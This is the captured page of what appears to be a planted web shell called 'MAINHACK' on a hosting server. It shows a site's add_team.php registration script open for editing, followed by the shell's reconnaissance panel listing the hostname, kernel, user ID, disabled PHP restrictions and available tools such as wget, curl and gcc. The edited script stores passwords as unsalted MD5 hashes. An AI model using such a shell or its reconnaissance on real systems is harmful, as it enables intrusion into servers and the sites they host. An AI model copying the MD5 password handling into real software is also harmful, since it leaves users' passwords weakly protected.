[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_team.php
<?php include('header.php'); ?> <script> function checkPass() { var pass1 = document.getElementById('pass1'); var pass2 = document.getElementById('pass2'); var message = document.getElementById('error-nwl'); var goodColor = "#66cc66"; var badColor = "#ff6666"; if(pass1.value.length > 7) { message.style.color = goodColor; message.innerHTML = "character number ok!" } else { message.style.color = badColor; message.innerHTML = " you have to enter at least 8 digit!" return; } if(pass1.value == pass2.value) { message.style.color = goodColor; message.innerHTML = "ok!" document.getElementById("btn").disabled = false; } else { message.style.color = badColor; message.innerHTML = " These passwords don't match" document.getElementById("btn").disabled = true; } } </script> <div id="page-wrapper"> <div class="row"> <div class="col-md-12"> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Add Team :</h4> </div> <div class="form-body"> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group"> <div class="col-lg-4 col-md-4 col-sm-12"> <label>Name</label> <input type="text" name="name" placeholder="Name" class="form-control"> </div> </div> <div class="form-group"> <div class="col-lg-4 col-md-4 col-sm-12"> <label>Email<span class="required-label">*</span></label> <input type="text" name="email" placeholder="Email" class="form-control"> </div> </div> <div class="form-group"> <div class="col-lg-4 col-md-4 col-sm-12"> <label>Phone<span class="required-label">*</span></label> <input type="text" name="phone" placeholder="Phone" class="form-control"> </div> <div class="clearfix"></div> </div> <div class="form-group"> <div class="col-lg-3 col-md-3 col-sm-12"> <label>Alt Phone</label> <input type="text" name="alt_phone" placeholder="Alt Phone" class="form-control"> </div> <div class="form-group form-show-validation row"> <div class="col-lg-4 col-md-4 col-sm-12"> <label>Password</label> <input type="password" id="pass1" onkeyup="checkPass(); return false;" placeholder="Password" class="form-control" name="password" required> </div> <div class="col-lg-4 col-md-4 col-sm-12"> <label>Confirm Password</label> <input type="password" id="pass2" onkeyup="checkPass(); return false;" name="cpassword1" placeholder="Confirm Password" class="form-control" name="address" required> <div id="error-nwl"></div> </div> <div class="clearfix"></div> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> </div> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ // $date=$_POST['date']." ".$_POST['time']; $cid=$show->getid('ids','TM'); $data = array( 'team' =>htmlentities(strip_tags(($_POST['name']))), 'email' =>htmlentities(strip_tags(($_POST['email']))), 'phone' =>htmlentities(strip_tags(($_POST['phone']))), 'alt_phone' =>htmlentities(strip_tags(($_POST['alt_phone']))), 'password' =>htmlentities(strip_tags(($_POST['password']))), 'team_id' => $cid, 'password' => md5(htmlentities(strip_tags($_POST['cpassword1']))), ); //print_r($data); if($show->insert('team',$data)){ echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Team added manually", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } } ?> </div> </div> </div> </div> </div> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619